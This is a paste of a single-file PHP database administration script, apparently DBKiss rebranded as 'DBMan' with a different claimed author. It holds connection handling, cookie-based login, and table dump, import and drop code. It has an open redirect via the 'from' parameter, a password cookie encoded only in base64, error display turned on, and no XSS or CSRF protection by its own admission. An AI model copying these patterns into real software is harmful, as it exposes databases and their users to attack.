· 8 years ago · Aug 10, 2018, 10:08 AM
1<?php
2/*
3 DBMan 1.10 (2011-03-09)
4 Author: emperor32 [cbessi@msn.com]
5 Web site: http://kns-team.com/
6 License: BSD revised (free for any use)
7*/
8
9ob_start('ob_gzhandler');
10
11// Some of the features in the SQL editor require creating 'dbkiss_sql' directory,
12// where history of queries are kept and other data. If the script has permission
13// it will create that directory automatically, otherwise you need to create that
14// directory manually and make it writable. You can also set it to empty '' string,
15// but some of the features in the sql editor will not work (templates, pagination)
16
17if (!defined('DBKISS_SQL_DIR')) {
18 define('DBKISS_SQL_DIR', 'dbkiss_sql');
19}
20
21/*
22 An example configuration script that will automatically connect to localhost database.
23 This is useful on localhost if you don't want to see the "Connect" screen.
24
25 mysql_local.php:
26 ---------------------------------------------------------------------
27 define('COOKIE_PREFIX', str_replace('.php', '', basename(__FILE__)).'_');
28 define('DBKISS_SQL_DIR', 'dbkiss_mysql');
29
30 $cookie = array(
31 'db_driver' => 'mysql',
32 'db_server' => 'localhost',
33 'db_name' => 'test',
34 'db_user' => 'root',
35 'db_pass' => 'toor',
36 'db_charset' => 'latin2',
37 'page_charset' => 'iso-8859-2',
38 'remember' => 1
39 );
40
41 foreach ($cookie as $k => $v) {
42 if ('db_pass' == $k) { $v = base64_encode($v); }
43 $k = COOKIE_PREFIX.$k;
44 if (!isset($_COOKIE[$k])) {
45 $_COOKIE[$k] = $v;
46 }
47 }
48
49 require './dbkiss.php';
50 ---------------------------------------------------------------------
51*/
52
53/*
54 Changelog:
55
56 1.10
57 * Support for views in Postgresql (mysql had it already).
58 * Views are now displayed in a seperate listing, to the right of the tables on main page.
59 * Secure redirection - no referer header sent - when clicking external links (ex. powered by), so that the location of the dbkiss script on your site is not revaled.
60 1.09
61 * CSV export in sql editor and table view (feature sponsored by Patrick McGovern)
62 1.08
63 * date.timezone E_STRICT error fixed
64 1.07
65 * mysql tables with dash in the name generated errors, now all tables in mysql driver are
66 enquoted with backtick.
67 1.06
68 * postgresql fix
69 1.05
70 * export of all structure and data does take into account the table name filter on the main page,
71 so you can filter the tables that you want to export.
72 1.04
73 * exporting all structure/data didn't work (ob_gzhandler flush bug)
74 * cookies are now set using httponly option
75 * text editor complained about bad cr/lf in exported sql files
76 (mysql create table uses \n, so insert queries need to be seperated by \n and not \r\n)
77 1.03
78 * re-created array_walk_recursive for php4 compatibility
79 * removed stripping slashes from displayed content
80 * added favicon (using base64_encode to store the icon in php code, so it is still one-file database browser)
81 1.02
82 * works with short_open_tag disabled
83 * code optimizations/fixes
84 * postgresql error fix for large tables
85 1.01
86 * fix for mysql 3.23, which doesnt understand "LIMIT x OFFSET z"
87 1.00
88 * bug fixes
89 * minor feature enhancements
90 * this release is stable and can be used in production environment
91 0.61
92 * upper casing keywords in submitted sql is disabled (it also modified quoted values)
93 * sql error when displaying table with 0 rows
94 * could not connect to database that had upper case characters
95
96*/
97
98// todo: php error handler which cancels buffer output and exits on error
99// todo: XSS and CSRF protection.
100// todo: connect screen: [x] create database (if not exists) [charset]
101// todo: connect screen: database (optional, if none provided will select the first database the user has access to)
102// todo: mysqli driver (check if mysql extension is loaded, if not try to use mysqli)
103// todo: support for the enum field type when editing row
104// todo: search whole database form should appear also on main page
105// todo: improve detecting primary keys when editing row (querying information_schema , for mysql > 4)
106// todo: when dbkiss_sql dir is missing, display a message in sql editor that some features won't work (templates, pagination) currently it displays a message to create that dir and EXIT, but should allow basic operations
107// todo: "Insert" on table view page
108// todo: edit table structure
109
110error_reporting(-1);
111ini_set('display_errors', true);
112if (!ini_get('date.timezone')) {
113 ini_set('date.timezone', 'Europe/Warsaw');
114}
115
116if (isset($_GET['dbkiss_favicon'])) {
117 $favicon = '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C///////vmsO//////++Zwv//////75mC/++Zwv/vmkN/wCpxv8C6fL/AHmm/8xmAO3ntoX2//////////++Zgv/37OG///////ftoj/v24S///////FcBL/x3AS/8VuEP8wpsn/BXCh/wCDrP/MZgDtzGYA7cxmAO3MZgDtvmYL/8ZwEv/DbxL/v24S/79uEv/CbxL/xXAS/8dwEv/GbxH/Ssvl/xyp0v8AZpn/AAAAAAAAAAAAAAAAAAAAAABmmf+E+P//TOX//xXT//8V0///O+D//2Tu//+M+v//eOn0/0rL5f8drNb/AGaZ/wAAAAAAAAAAAAAAAAAAAAAAZpn/hPj//0zl//8V0///FdP//zvg//9k7v//jPr//3jp9P9Ky+X/HazW/wBmmf8AAAAAAAAAAAAAAAAAAAAAAGaZ/3Xt+f8estv/BJDC/wB7rv8Ab6L/AGaZ/wBmmf8OdaT/Gou1/xijzv8AZpn/AAAAAAAAAAAAAAAAAAAAAABmmf8prNb/l9fq/77w9//B////qf///5r///+Z////huzy/2DG2f8Ufan/AGaZ/wAAAAAAAAAAAAAAAAAAAAAAZpn/7/n8//L////a////wf///6n///+a////mf///5n///+Z////j/X5/wBmmf8AAAAAAAAAAAAAAAAAAAAAAGaZ7+/1+f/y////2v///8H///+p////mv///5n///+Z////mf///4/1+f8AZpn/AAAAAAAAAAAAAAAAAAAAAABmmWAngqz/l8bZ/7/z+f/B////qf///5r///+Z////jfT4/2DG2f8Wfqr/AGaZYAAAAAAAAAAAAAAAAAAAAAAAAAAAAGaZIABmmY8AZpm/AGaZ/wBmmf8AZpn/AGaZ/wBmmb8AZpmPAGaZIAAAAAAAAQICAAA1EwAABAkAABEAAAACAgAASRIAAAcUAABRTvAAARrwAAEB8AABAfAAVgPwAAIB8AAiAfAABxT4AU0D';
118 header('Content-type: image/vnd.microsoft.icon');
119 echo base64_decode($favicon);
120 exit();
121}
122
123if (!function_exists('array_walk_recursive'))
124{
125 function array_walk_recursive(&$array, $func)
126 {
127 foreach ($array as $k => $v) {
128 if (is_array($v)) {
129 array_walk_recursive($array[$k], $func);
130 } else {
131 $func($array[$k], $k);
132 }
133 }
134 }
135}
136function table_filter($tables, $filter)
137{
138 $filter = trim($filter);
139 if ($filter) {
140 foreach ($tables as $k => $table) {
141 if (!str_has_any($table, $filter, $ignore_case = true)) {
142 unset($tables[$k]);
143 }
144 }
145 }
146 return $tables;
147}
148function get($key, $type='string')
149{
150 if (is_string($key)) {
151 $_GET[$key] = isset($_GET[$key]) ? $_GET[$key] : null;
152 if ('float' == $type) $_GET[$key] = str_replace(',','.',$_GET[$key]);
153 settype($_GET[$key], $type);
154 if ('string' == $type) $_GET[$key] = trim($_GET[$key]);
155 return $_GET[$key];
156 }
157 $vars = $key;
158 foreach ($vars as $key => $type) {
159 $_GET[$key] = isset($_GET[$key]) ? $_GET[$key] : null;
160 if ('float' == $type) $_GET[$key] = str_replace(',','.',$_GET[$key]);
161 settype($_GET[$key], $type);
162 if ('string' == $type) $_GET[$key] = trim($_GET[$key]);
163 $vars[$key] = $_GET[$key];
164 }
165 return $vars;
166}
167function post($key, $type='string')
168{
169 if (is_string($key)) {
170 $_POST[$key] = isset($_POST[$key]) ? $_POST[$key] : null;
171 if ('float' == $type) $_POST[$key] = str_replace(',','.',$_POST[$key]);
172 settype($_POST[$key], $type);
173 if ('string' == $type) $_POST[$key] = trim($_POST[$key]);
174 return $_POST[$key];
175 }
176 $vars = $key;
177 foreach ($vars as $key => $type) {
178 $_POST[$key] = isset($_POST[$key]) ? $_POST[$key] : null;
179 if ('float' == $type) $_POST[$key] = str_replace(',','.',$_POST[$key]);
180 settype($_POST[$key], $type);
181 if ('string' == $type) $_POST[$key] = trim($_POST[$key]);
182 $vars[$key] = $_POST[$key];
183 }
184 return $vars;
185}
186$_ENV['IS_GET'] = ('GET' == $_SERVER['REQUEST_METHOD']);
187$_ENV['IS_POST'] = ('POST' == $_SERVER['REQUEST_METHOD']);
188function req_gpc_has($str)
189{
190 /* finds if value exists in GPC data, used in filter_() functions, to check whether use html_tags_undo() on the data */
191 foreach ($_GET as $k => $v) {
192 if ($str == $v) {
193 return true;
194 }
195 }
196 foreach ($_POST as $k => $v) {
197 if ($str == $v) {
198 return true;
199 }
200 }
201 foreach ($_COOKIE as $k => $v) {
202 if ($str == $v) {
203 return true;
204 }
205 }
206 return false;
207}
208
209if (ini_get('magic_quotes_gpc')) {
210 ini_set('magic_quotes_runtime', 0);
211 array_walk_recursive($_GET, 'db_magic_quotes_gpc');
212 array_walk_recursive($_POST, 'db_magic_quotes_gpc');
213 array_walk_recursive($_COOKIE, 'db_magic_quotes_gpc');
214}
215function db_magic_quotes_gpc(&$val)
216{
217 $val = stripslashes($val);
218}
219
220$sql_font = 'font-size: 12px; font-family: courier new;';
221$sql_area = $sql_font.' width: 708px; height: 182px; border: #ccc 1px solid; background: #f9f9f9; padding: 3px;';
222
223if (!isset($db_name_style)) {
224 $db_name_style = '';
225}
226if (!isset($db_name_h1)) {
227 $db_name_h1 = '';
228}
229
230global $db_link, $db_name;
231
232if (!defined('COOKIE_PREFIX')) {
233 define('COOKIE_PREFIX', 'dbkiss_');
234}
235
236define('COOKIE_WEEK', 604800); // 3600*24*7
237define('COOKIE_SESS', 0);
238function cookie_get($key)
239{
240 $key = COOKIE_PREFIX.$key;
241 if (isset($_COOKIE[$key])) return $_COOKIE[$key];
242 return null;
243}
244function cookie_set($key, $val, $time = COOKIE_SESS)
245{
246 $key = COOKIE_PREFIX.$key;
247 $expire = $time ? time() + $time : 0;
248 if (version_compare(PHP_VERSION, '5.2.0', '>=')) {
249 setcookie($key, $val, $expire, '', '', false, true);
250 } else {
251 setcookie($key, $val, $expire);
252 }
253 $_COOKIE[$key] = $val;
254}
255function cookie_del($key)
256{
257 $key = COOKIE_PREFIX.$key;
258 if (version_compare(PHP_VERSION, '5.2.0', '>=')) {
259 setcookie($key, '', time()-3600*24, '', '', false, true);
260 } else {
261 setcookie($key, '', time()-3600*24);
262 }
263 unset($_COOKIE[$key]);
264}
265
266conn_modify('db_name');
267conn_modify('db_charset');
268conn_modify('page_charset');
269
270function conn_modify($key)
271{
272 if (array_key_exists($key, $_GET)) {
273 cookie_set($key, $_GET[$key], cookie_get('remember') ? COOKIE_WEEK : COOKIE_SESS);
274 if (isset($_GET['from']) && $_GET['from']) {
275 header('Location: '.$_GET['from']);
276 } else {
277 header('Location: '.$_SERVER['PHP_SELF']);
278 }
279 exit;
280 }
281}
282
283$db_driver = cookie_get('db_driver');
284$db_server = cookie_get('db_server');
285$db_name = cookie_get('db_name');
286$db_user = cookie_get('db_user');
287$db_pass = base64_decode(cookie_get('db_pass'));
288$db_charset = cookie_get('db_charset');
289$page_charset = cookie_get('page_charset');
290
291$charset1 = array('latin1', 'latin2', 'utf8', 'cp1250');
292$charset2 = array('iso-8859-1', 'iso-8859-2', 'utf-8', 'windows-1250');
293$charset1[] = $db_charset;
294$charset2[] = $page_charset;
295$charset1 = charset_assoc($charset1);
296$charset2 = charset_assoc($charset2);
297
298$driver_arr = array('mysql', 'pgsql');
299$driver_arr = array_assoc($driver_arr);
300
301function array_assoc($a)
302{
303 $ret = array();
304 foreach ($a as $v) {
305 $ret[$v] = $v;
306 }
307 return $ret;
308}
309function charset_assoc($arr)
310{
311 sort($arr);
312 $ret = array();
313 foreach ($arr as $v) {
314 if (!$v) { continue; }
315 $v = strtolower($v);
316 $ret[$v] = $v;
317 }
318 return $ret;
319}
320
321
322if (isset($_GET['disconnect']) && $_GET['disconnect'])
323{
324 cookie_del('db_pass');
325 header('Location: '.$_SERVER['PHP_SELF']);
326 exit;
327}
328
329if (!$db_pass || (!$db_driver || !$db_server || !$db_name || !$db_user))
330{
331 if ('POST' == $_SERVER['REQUEST_METHOD'])
332 {
333 $db_driver = post('db_driver');
334 $db_server = post('db_server');
335 $db_name = post('db_name');
336 $db_user = post('db_user');
337 $db_pass = post('db_pass');
338 $db_charset = post('db_charset');
339 $page_charset = post('page_charset');
340
341 if ($db_driver && $db_server && $db_name && $db_user)
342 {
343 $db_test = true;
344 db_connect($db_server, $db_name, $db_user, $db_pass);
345 if (is_resource($db_link))
346 {
347 $time = post('remember') ? COOKIE_WEEK : COOKIE_SESS;
348 cookie_set('db_driver', $db_driver, $time);
349 cookie_set('db_server', $db_server, $time);
350 cookie_set('db_name', $db_name, $time);
351 cookie_set('db_user', $db_user, $time);
352 cookie_set('db_pass', base64_encode($db_pass), $time);
353 cookie_set('db_charset', $db_charset, $time);
354 cookie_set('page_charset', $page_charset, $time);
355 cookie_set('remember', post('remember'), $time);
356 header('Location: '.$_SERVER['PHP_SELF']);
357 exit;
358 }
359 }
360 }
361 else
362 {
363 $_POST['db_driver'] = $db_driver;
364 $_POST['db_server'] = $db_server ? $db_server : 'localhost';
365 $_POST['db_name'] = $db_name;
366 $_POST['db_user'] = $db_user;
367 $_POST['db_charset'] = $db_charset;
368 $_POST['page_charset'] = $page_charset;
369 $_POST['db_driver'] = $db_driver;
370 }
371 ?>
372
373 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
374 <html>
375 <head>
376 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
377 <title>Connect</title>
378 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
379 </head>
380 <body>
381
382 <?php layout(); ?>
383
384 <h1>Connect</h1>
385
386 <?php if (isset($db_test) && is_string($db_test)): ?>
387 <div style="background: #ffffd7; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em;">
388 <span style="color: red; font-weight: bold;">Error:</span>
389 <?php echo $db_test;?>
390 </div>
391 <?php endif; ?>
392
393 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
394 <table class="ls ls2" cellspacing="1">
395 <tr>
396 <th>Driver:</th>
397 <td><select name="db_driver"><?php echo options($driver_arr, post('db_driver'));?></select></td>
398 </tr>
399 <tr>
400 <th>Server:</th>
401 <td><input type="text" name="db_server" value="<?php echo post('db_server');?>"></td>
402 </tr>
403 <tr>
404 <th>Database:</th>
405 <td><input type="text" name="db_name" value="<?php echo post('db_name');?>"></td>
406 </tr>
407 <tr>
408 <th>User:</th>
409 <td><input type="text" name="db_user" value="<?php echo post('db_user');?>"></td>
410 </tr>
411 <tr>
412 <th>Password:</th>
413 <td><input type="password" name="db_pass" value=""></td>
414 </tr>
415 <tr>
416 <th>Db charset:</th>
417 <td><input type="text" name="db_charset" value="<?php echo post('db_charset');?>" size="10"> (optional)</td>
418 </tr>
419 <tr>
420 <th>Page charset:</th>
421 <td><input type="text" name="page_charset" value="<?php echo post('page_charset');?>" size="10"> (optional)</td>
422 </tr>
423 <tr>
424 <td colspan="2" class="none" style="padding: 0; background: none; padding-top: 0.3em;">
425 <table cellspacing="0" cellpadding="0"><tr><td>
426 <input type="checkbox" name="remember" id="remember" value="1" <?php echo checked(post('remember'));?>></td><td>
427 <label for="remember">remember me on this computer</label></td></tr></table>
428 </td>
429 </tr>
430 <tr>
431 <td class="none" colspan="2" style="padding-top: 0.4em;"><input type="submit" value="Connect"></td>
432 </tr>
433 </table>
434 </form>
435
436 <?php powered_by(); ?>
437
438 </body>
439 </html>
440
441 <?php
442
443 exit;
444}
445
446db_connect($db_server, $db_name, $db_user, $db_pass);
447
448if ($db_charset && 'mysql' == $db_driver) {
449 db_exe("SET NAMES $db_charset");
450}
451
452if (isset($_GET['dump_all']) && 1 == $_GET['dump_all'])
453{
454 dump_all($data = false);
455}
456if (isset($_GET['dump_all']) && 2 == $_GET['dump_all'])
457{
458 dump_all($data = true);
459}
460if (isset($_GET['dump_table']) && $_GET['dump_table'])
461{
462 dump_table($_GET['dump_table']);
463}
464if (isset($_GET['export']) && 'csv' == $_GET['export'])
465{
466 export_csv(base64_decode($_GET['query']), $_GET['separator']);
467}
468if (isset($_POST['sqlfile']) && $_POST['sqlfile'])
469{
470 $files = sql_files_assoc();
471 if (!isset($files[$_POST['sqlfile']])) {
472 exit('File not found. md5 = '.$_POST['sqlfile']);
473 }
474 $sqlfile = $files[$_POST['sqlfile']];
475 layout();
476 echo '<div>Importing: <b>'.$sqlfile.'</b> ('.size(filesize($sqlfile)).')</div>';
477 echo '<div>Database: <b>'.$db_name.'</b></div>';
478 flush();
479 import($sqlfile, post('ignore_errors'), post('transaction'), post('force_myisam'), post('query_start','int'));
480 exit;
481}
482if (isset($_POST['drop_table']) && $_POST['drop_table'])
483{
484 $drop_table_enq = quote_table($_POST['drop_table']);
485 db_exe('DROP TABLE '.$drop_table_enq);
486 header('Location: '.$_SERVER['PHP_SELF']);
487 exit;
488}
489if (isset($_POST['drop_view']) && $_POST['drop_view'])
490{
491 $drop_view_enq = quote_table($_POST['drop_view']);
492 db_exe('DROP VIEW '.$drop_view_enq);
493 header('Location: '.$_SERVER['PHP_SELF']);
494 exit;
495}
496function db_connect($db_server, $db_name, $db_user, $db_pass)
497{
498 global $db_driver, $db_link, $db_test;
499 if (!extension_loaded($db_driver)) {
500 trigger_error($db_driver.' extension not loaded', E_USER_ERROR);
501 }
502 if ('mysql' == $db_driver)
503 {
504 $db_link = @mysql_connect($db_server, $db_user, $db_pass);
505 if (!is_resource($db_link)) {
506 if ($db_test) {
507 $db_test = 'mysql_connect() failed: '.db_error();
508 return;
509 } else {
510 cookie_del('db_pass');
511 cookie_del('db_name');
512 die('mysql_connect() failed: '.db_error());
513 }
514 }
515 if (!@mysql_select_db($db_name, $db_link)) {
516 $error = db_error();
517 db_close();
518 if ($db_test) {
519 $db_test = 'mysql_select_db() failed: '.$error;
520 return;
521 } else {
522 cookie_del('db_pass');
523 cookie_del('db_name');
524 die('mysql_select_db() failed: '.$error);
525 }
526 }
527 }
528 if ('pgsql' == $db_driver)
529 {
530 $conn = sprintf("host='%s' dbname='%s' user='%s' password='%s'", $db_server, $db_name, $db_user, $db_pass);
531 $db_link = @pg_connect($conn);
532 if (!is_resource($db_link)) {
533 if ($db_test) {
534 $db_test = 'pg_connect() failed: '.db_error();
535 return;
536 } else {
537 cookie_del('db_pass');
538 cookie_del('db_name');
539 die('pg_connect() failed: '.db_error());
540 }
541 }
542 }
543 register_shutdown_function('db_cleanup');
544}
545function db_cleanup()
546{
547 db_close();
548}
549function db_close()
550{
551 global $db_driver, $db_link;
552 if (is_resource($db_link)) {
553 if ('mysql' == $db_driver) {
554 mysql_close($db_link);
555 }
556 if ('pgsql' == $db_driver) {
557 pg_close($db_link);
558 }
559 }
560}
561function db_query($query, $dat = false)
562{
563 global $db_driver, $db_link;
564 $query = db_bind($query, $dat);
565 if (!db_is_safe($query)) {
566 return false;
567 }
568 if ('mysql' == $db_driver)
569 {
570 $rs = mysql_query($query, $db_link);
571 return $rs;
572 }
573 if ('pgsql' == $db_driver)
574 {
575 $rs = pg_query($db_link, $query);
576 return $rs;
577 }
578}
579function db_is_safe($q, $ret = false)
580{
581 // currently only checks UPDATE's/DELETE's if WHERE condition is not missing
582 $upd = 'update';
583 $del = 'delete';
584
585 $q = ltrim($q);
586 if (strtolower(substr($q, 0, strlen($upd))) == $upd
587 || strtolower(substr($q, 0, strlen($del))) == $del) {
588 if (!preg_match('#\swhere\s#i', $q)) {
589 if ($ret) {
590 return false;
591 } else {
592 trigger_error(sprintf('db_is_safe() failed. Detected UPDATE/DELETE without WHERE condition. Query: %s.', $q), E_USER_ERROR);
593 return false;
594 }
595 }
596 }
597
598 return true;
599}
600function db_exe($query, $dat = false)
601{
602 $rs = db_query($query, $dat);
603 db_free($rs);
604}
605function db_one($query, $dat = false)
606{
607 $row = db_row_num($query, $dat);
608 if ($row) {
609 return $row[0];
610 } else {
611 return false;
612 }
613}
614function db_row($query, $dat = false)
615{
616 global $db_driver, $db_link;
617 if ('mysql' == $db_driver)
618 {
619 if (is_resource($query)) {
620 $rs = $query;
621 return mysql_fetch_assoc($rs);
622 } else {
623 $query = db_limit($query, 0, 1);
624 $rs = db_query($query, $dat);
625 $row = mysql_fetch_assoc($rs);
626 db_free($rs);
627 if ($row) {
628 return $row;
629 }
630 }
631 return false;
632 }
633 if ('pgsql' == $db_driver)
634 {
635 if (is_resource($query) || is_object($query)) {
636 $rs = $query;
637 return pg_fetch_assoc($rs);
638 } else {
639 $query = db_limit($query, 0, 1);
640 $rs = db_query($query, $dat);
641 $row = pg_fetch_assoc($rs);
642 db_free($rs);
643 if ($row) {
644 return $row;
645 }
646 }
647 return false;
648 }
649}
650function db_row_num($query, $dat = false)
651{
652 global $db_driver, $db_link;
653 if ('mysql' == $db_driver)
654 {
655 if (is_resource($query)) {
656 $rs = $query;
657 return mysql_fetch_row($rs);
658 } else {
659 $rs = db_query($query, $dat);
660 if (!$rs) {
661 /*
662 echo '<pre>';
663 print_r($rs);
664 echo "\r\n";
665 print_r($query);
666 echo "\r\n";
667 print_r($dat);
668 exit;
669 */
670 }
671 $row = mysql_fetch_row($rs);
672 db_free($rs);
673 if ($row) {
674 return $row;
675 }
676 return false;
677 }
678 }
679 if ('pgsql' == $db_driver)
680 {
681 if (is_resource($query) || is_object($query)) {
682 $rs = $query;
683 return pg_fetch_row($rs);
684 } else {
685 $rs = db_query($query, $dat);
686 $row = pg_fetch_row($rs);
687 db_free($rs);
688 if ($row) {
689 return $row;
690 }
691 return false;
692 }
693 }
694}
695function db_list($query)
696{
697 global $db_driver, $db_link;
698 $rs = db_query($query);
699 $ret = array();
700 if ('mysql' == $db_driver) {
701 while ($row = mysql_fetch_assoc($rs)) {
702 $ret[] = $row;
703 }
704 }
705 if ('pgsql' == $db_driver) {
706 while ($row = pg_fetch_assoc($rs)) {
707 $ret[] = $row;
708 }
709 }
710 db_free($rs);
711 return $ret;
712}
713function db_assoc($query)
714{
715 global $db_driver, $db_link;
716 $rs = db_query($query);
717 $rows = array();
718 $num = db_row_num($rs);
719 if (!is_array($num)) {
720 return array();
721 }
722 if (!array_key_exists(0, $num)) {
723 return array();
724 }
725 if (1 == count($num)) {
726 $rows[] = $num[0];
727 while ($num = db_row_num($rs)) {
728 $rows[] = $num[0];
729 }
730 return $rows;
731 }
732 if ('mysql' == $db_driver)
733 {
734 mysql_data_seek($rs, 0);
735 }
736 if ('pgsql' == $db_driver)
737 {
738 pg_result_seek($rs, 0);
739 }
740 $row = db_row($rs);
741 if (!is_array($row)) {
742 return array();
743 }
744 if (count($num) < 2) {
745 trigger_error(sprintf('db_assoc() failed. Two fields required. Query: %s.', $query), E_USER_ERROR);
746 }
747 if (count($num) > 2 && count($row) <= 2) {
748 trigger_error(sprintf('db_assoc() failed. If specified more than two fields, then each of them must have a unique name. Query: %s.', $query), E_USER_ERROR);
749 }
750 foreach ($row as $k => $v) {
751 $first_key = $k;
752 break;
753 }
754 if (count($row) > 2) {
755 $rows[$row[$first_key]] = $row;
756 while ($row = db_row($rs)) {
757 $rows[$row[$first_key]] = $row;
758 }
759 } else {
760 $rows[$num[0]] = $num[1];
761 while ($num = db_row_num($rs)) {
762 $rows[$num[0]] = $num[1];
763 }
764 }
765 db_free($rs);
766 return $rows;
767}
768function db_limit($query, $offset, $limit)
769{
770 global $db_driver;
771
772 $offset = (int) $offset;
773 $limit = (int) $limit;
774
775 $query = trim($query);
776 if (str_ends_with($query, ';')) {
777 $query = str_cut_end($query, ';');
778 }
779
780 $query = preg_replace('#^([\s\S]+)LIMIT\s+\d+\s+OFFSET\s+\d+\s*$#i', '$1', $query);
781 $query = preg_replace('#^([\s\S]+)LIMIT\s+\d+\s*,\s*\d+\s*$#i', '$1', $query);
782
783 if ('mysql' == $db_driver) {
784 // mysql 3.23 doesn't understand "LIMIT x OFFSET z"
785 return $query." LIMIT $offset, $limit";
786 } else {
787 return $query." LIMIT $limit OFFSET $offset";
788 }
789}
790function db_escape($value)
791{
792 global $db_driver, $db_link;
793 if ('mysql' == $db_driver) {
794 return mysql_real_escape_string($value, $db_link);
795 }
796 if ('pgsql' == $db_driver) {
797 return pg_escape_string($value);
798 }
799}
800function db_quote($s)
801{
802 switch (true) {
803 case is_null($s): return 'NULL';
804 case is_int($s): return $s;
805 case is_float($s): return $s;
806 case is_bool($s): return (int) $s;
807 case is_string($s): return "'" . db_escape($s) . "'";
808 case is_object($s): return $s->getValue();
809 default:
810 trigger_error(sprintf("db_quote() failed. Invalid data type: '%s'.", gettype($s)), E_USER_ERROR);
811 return false;
812 }
813}
814function db_strlen_cmp($a, $b)
815{
816 if (strlen($a) == strlen($b)) {
817 return 0;
818 }
819 return strlen($a) > strlen($b) ? -1 : 1;
820}
821function db_bind($q, $dat)
822{
823 if (false === $dat) {
824 return $q;
825 }
826 if (!is_array($dat)) {
827 //return trigger_error('db_bind() failed. Second argument expects to be an array.', E_USER_ERROR);
828 $dat = array($dat);
829 }
830
831 $qBase = $q;
832
833 // special case: LIKE '%asd%', need to ignore that
834 $q_search = array("'%", "%'");
835 $q_replace = array("'\$", "\$'");
836 $q = str_replace($q_search, $q_replace, $q);
837
838 preg_match_all('#%\w+#', $q, $match);
839 if ($match) {
840 $match = $match[0];
841 }
842 if (!$match || !count($match)) {
843 return trigger_error('db_bind() failed. No binding keys found in the query.', E_USER_ERROR);
844 }
845 $keys = $match;
846 usort($keys, 'db_strlen_cmp');
847 $num = array();
848
849 foreach ($keys as $key)
850 {
851 $key2 = str_replace('%', '', $key);
852 if (is_numeric($key2)) $num[$key] = true;
853 if (!array_key_exists($key2, $dat)) {
854 return trigger_error(sprintf('db_bind() failed. No data found for key: %s. Query: %s.', $key, $qBase), E_USER_ERROR);
855 }
